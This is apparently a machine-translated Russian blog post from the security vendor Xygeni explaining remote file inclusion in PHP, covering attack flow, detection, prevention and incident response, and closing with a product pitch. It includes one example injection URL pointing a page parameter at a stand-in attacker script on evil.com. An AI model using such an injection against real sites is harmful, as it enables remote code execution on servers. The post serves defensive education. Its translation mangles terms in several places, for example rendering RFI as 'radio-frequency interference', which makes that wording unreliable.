удаленное выполнение кода — что такое удаленное включение файлов

Удаленное включение файлов: как это происходит и как разработчики могут это предотвратить?

Почему включение удаленных файлов имеет значение в цепочку поставок программного обеспечения?

Что такое удаленное включение файлов?

Понимание того, что такое удаленное включение файлов, имеет важное значение для разработчиков, стремящихся защитить свои приложения на ранних этапах жизненного цикла разработки программного обеспечения (SDLC). Эта уязвимость, которую часто упускают из виду, позволяет злоумышленникам внедрять и выполнять удаленный код, подвергая ваши системы и pipelineон в опасности. 

Удалённое включение файлов (RFI) — это критическая уязвимость безопасности, которая позволяет злоумышленникам подключать и выполнять внешние файлы на вашем сервере, что часто приводит к удалённому выполнению кода (RCE). На практике это означает, что злоумышленник может запустить произвольный код в вашей среде, скомпрометировать сборки или внедрить опасные артефакты в вашу систему. pipelineТо, что начинается как небольшая проблема проверки входных данных, может превратиться в полномасштабную угрозу цепочке поставок программного обеспечения.

Хотя RFI обычно ассоциируется с PHP, лежащая в его основе модель загрузки ненадежных файлов на основе пользовательского ввода может повлиять на многие языки программирования и CI/CD Рабочие процессы. Именно поэтому понимание этой уязвимости крайне важно для современных команд разработчиков, особенно когда безопасность должна быть реализована на всех этапах — от кода до развертывания.

В реальных сценариях атаки с использованием удалённого включения файлов приводили к несанкционированному удалённому выполнению кода, полной компрометации сервера, утечке конфиденциальных данных и серьёзным нарушениям доверительных отношений в цепочках поставок программного обеспечения. Эта уязвимость обычно затрагивает приложения на основе PHP и динамические среды обработки файлов, хотя аналогичные закономерности могут проявляться и в других языках программирования и фреймворках. Давайте подробно разберёмся, почему понимание сути удалённого включения файлов и принципов его работы может помочь предотвратить опасные инциденты удалённого выполнения кода.

Как работает удаленное включение файлов?

Удаленное включение файлов (RFI) происходит, когда приложение динамически включает внешние файлы на основе Пользовательский ввод не был должным образом проверен. Это открывает злоумышленникам возможность внедрить вредоносный код из удалённых источников, что часто приводит к удалённому выполнению кода (RCE).

Как работает эксплойт — шаг за шагом

  1. Непроверенный ввод: Приложение использует параметр запроса или другие входные данные пользователя, чтобы решить, какой файл включить.
  2. Удаленное включение файлов: Этот ввод используется непосредственно в функции включения файла (например, include() в PHP) без проверки происхождения или валидности.
  3. Удаленное выполнение кода: Если входные данные указывают на вредоносный удаленный скрипт, сервер извлекает и выполняет его, что ставит под угрозу безопасность системы.

Пример уязвимого PHP-кода:

В этом примере злоумышленник может манипулировать параметрами страницы, чтобы ссылаться на вредоносный внешний URL-адрес, что приведет к выполнению удаленного кода.

Распространённые методы внедрения включают передачу удалённых URL-адресов в качестве параметров запроса. Злоумышленники размещают вредоносные скрипты снаружи и изменяют URL-адреса следующим образом: http://example.com/index.php?page=http://evil.com/malicious.php

Сценарии атак

Этот сценарий показывает, как RFI выходит за рамки кода времени выполнения и влияет на цепочка поставок программного обеспечения. После того, как вредоносные артефакты попадают в pipeline, злоумышленники могут отравлять сборки, вмешиваться в логику развертывания или выкрадывать секреты из доверенных сред.

  • Развертывание веб-оболочки: Злоумышленники загружают удаленные веб-оболочки, обеспечивая постоянный удаленный доступ.
  • Хостинг вредоносных программ: Внешние серверы доставляют вредоносное ПО или криптомайнеры через RFI.
  • Выполнение кода в Pipelines: Когда уязвимости RFI затрагивают внутренние системы или автоматизированные среды сборки, скомпрометированные внешние файлы могут действовать как внедренные удаленные артефакты, подвергая опасности все программное обеспечение. pipelineи приводит к незаметному удаленному выполнению кода в рабочих процессах DevOps. 

Типичный ход атаки:

 1. Злоумышленник размещает вредоносный скрипт.

 2. Манипулирование параметрами URL заставляет приложение извлекать и выполнять этот удаленный скрипт.

 3. Сервер выполняет ненадежный код, что ставит под угрозу его окружение и потенциально нижестоящие системы.

При безопасной разработке знание того, что такое удаленное включение файлов, может помочь командам избежать появления таких уязвимостей на ранних этапах жизненного цикла программного обеспечения.

Обнаружение и индикаторы уязвимостей удаленного включения файлов

Для обнаружения уязвимостей, связанных с удалённым включением файлов, требуется как статический анализ кода, так и поведенческий мониторинг. Поскольку запросы на информацию (RFI) часто используют, казалось бы, безобидные шаблоны кода, команды разработчиков и специалистов по безопасности должны следить как за небезопасными практиками кодирования, так и за необычным поведением во время выполнения, которое указывает на нарушение границы доверия. Ниже приведены ключевые индикаторы, помогающие выявить риски RFI на ранних этапах жизненного цикла вашего программного обеспечения.

  • Индикаторы проверки кода:
    • Использование динамического включения файлов без строгой проверки входных данных
    • Включение удаленных файлов на основе параметров URL
  • Поведенческие индикаторы:
    • Неожиданные удаленные вызовы ресурсов от доверенных серверов
    • Журналы, показывающие включение внешних файлов
    • Необычные скрипты, выполняемые из нелокальных путей, сигнализируют о нарушении границ доверия.
  • Инструменты обнаружения:
    • Статическое тестирование безопасности приложений (SAST)
    • Динамическое тестирование безопасности приложений (ДАСТ)
    • Анализ состава программного обеспечения (SCA)
    • Обнаружение аномалий для необычных внешних запросов.

Глубокое погружение в CI/CD PipelineУязвимости

Ознакомьтесь с серией наших блогов о Poisoned Pipeline Исполнение (СИЗ)

Связанное чтение:

Риски и влияние на бизнес

  • Эксфильтрация данных: Конфиденциальная информация может быть украдена с помощью вредоносных удаленных скриптов
  • Компрометация сервера: RFI часто приводит к полному захвату сервера
  • Вредоносное удаленное внедрение артефакта: После того, как злоумышленник внедрит удаленный артефакт, последующие сборки и развертывания подвергаются риску заражения.
  • Нарушенные границы доверия: CI/CD pipelineвыполнение ненадежного кода нарушает целостность основной цепочки поставок
  • Комплаенс-риски: Несоблюдение GDPR, PCI DSS и других standardиз-за неадекватных методов безопасного кодирования

Методы профилактики для разработчиков

Здесь вы найдете список некоторых профилактических методов, которые могут вам помочь:

Проверка ввода и очистка

  • Строгий список допустимых путей к файлам
  • По возможности избегайте динамических путей к файлам
  • Проверка MIME/типа и обеспечение безопасных расширений файлов
  • Используйте библиотеки проверки входных данных, специфичные для конкретного языка

Практики безопасного кодирования

  • Отключить удаленное включение файлов с помощью таких конфигураций, как allow_url_include=Выкл (PHP)
  • Обеспечить использование абсолютных, проверенных, локальных путей для всех включенных файлов
  • Применяйте принцип наименьших привилегий в средах приложений
  • Блокировать неподписанные или ненадежные удаленные ресурсы

DevSecOps и CI/CD Guardrails

  • Реализовать статическое и динамическое сканирование в CI/CD pipelines
  • Создавай guardrails для обнаружения и блокировки удаленных включений файлов
  • Обеспечить строгое соблюдение политик кода в отношении динамического и непроверенного включения файлов
  • Мониторинг процессов сборки на предмет неутвержденных внешних запросов на ресурсы

Стратегии защиты во время выполнения

  • Используйте брандмауэры веб-приложений (WAF) для блокировки вредоносных запросов
  • Используйте непрерывное обнаружение аномалий и мониторинг безопасности
  • Проводите регулярные аудиты кода и тестирование на проникновение, ориентированное на безопасность.

Реакция на инцидент

Что делать, если была атакована функция удаленного включения файлов?

Выполните следующие действия:

  • Немедленно изолируйте затронутые серверы или службы.
  • Анализируйте журналы для отслеживания действий злоумышленников и выявления скомпрометированных ресурсов.
  • Исправьте уязвимый код и перенастройте затронутые приложения.
  • Проведение судебно-медицинской экспертизы для проверки целостности нисходящего потока pipeline компоненты
  • Укрепить контроль для предотвращения повторения

Поэтому рассматривайте удаленное включение файлов как угрозу цепочке поставок программного обеспечения.

Теперь, когда вы знаете, что такое удалённое включение файлов, вам больше не стоит воспринимать его как простую ошибку кода. Это критически важный вектор, способный внедрить вредоносные артефакты и нарушить границы доверия в вашем программном обеспечении. pipelines. Путем компрометации внутренних серверов или CI/CD В процессе работы RFI позволяет злоумышленникам вмешиваться в сборки, вносить несанкционированные изменения и распространять скомпрометированный код. Игнорирование рисков удалённого выполнения кода, возникающих из-за RFI, может сделать вашу цепочку поставок уязвимой.

Организации должны внедрять меры по предотвращению радиочастотных помех на всех уровнях SDLC и CI/CD Рабочие процессы. Это включает в себя статический и динамический анализ, строгую проверку входных данных, усиление защиты инфраструктуры и непрерывный мониторинг. Обучение разработчиков и внедрение методов обеспечения безопасности на уровне проекта крайне важны для защиты от RFI и связанных с ними атак на цепочки поставок.

И последнее, но не менее важное: обеспечение безопасности современных цепочек поставок программного обеспечения требует бдительности в отношении таких уязвимостей, как удаленное включение файлов, которые могут перерасти из простых ошибок в pipelineширокомасштабные компромиссы, приводящие к опасным сценариям удаленного выполнения кода.

Хотите узнать больше от ведущих экспертов по кибербезопасности? Смотрите нашу беседу SafeDev Talk на Бесконечные уязвимости, более разумная защита: как управлять рисками современного программного обеспечения на ютубе!

Как Xygeni может помочь

Ксигени обеспечивает проактивную защиту от атак RFI, внедряя средства контроля безопасности в режиме реального времени по всему вашему CI/CD pipelines:

  • Блокирует ненадежные удаленные включения на этапе сборки с использованием настраиваемых guardrails.
  • Обнаруживает аномальное поведение такие как подозрительные внешние выборки, неожиданное выполнение скриптов или неподписанные удаленные артефакты.
  • Обеспечивает строгую целостность артефактов с аттестацией и проверкой происхождения, гарантирующей, что через ваш сервер проходит только доверенный код SDLC.
    Мониторы CI/CD конфигурации и определения заданий для предотвращения непреднамеренного воздействия рисков, подобных RFI, в скриптах сборки или плагинах.

Xygeni блокирует RFI и другие угрозы удаленного выполнения, непрерывно сканируя код на наличие неверных конфигураций, анализируя поведение кода и проверяя артефакты в режиме реального времени. до того, как они поступят в производство.

Начните бесплатный пробный период и узнайте, как Xygeni защищает вашу цепочку поставок программного обеспечения от RFI-атак и не только.

sca-инструменты-программное обеспечение-композиция-анализ-инструменты
Расставьте приоритеты, устраните и защитите риски, связанные с программным обеспечением
Получите бесплатный аккаунт.
Нет необходимости кредитную карту.

Защитите свою разработку и доставку программного обеспечения

с пакетом продуктов Xygeni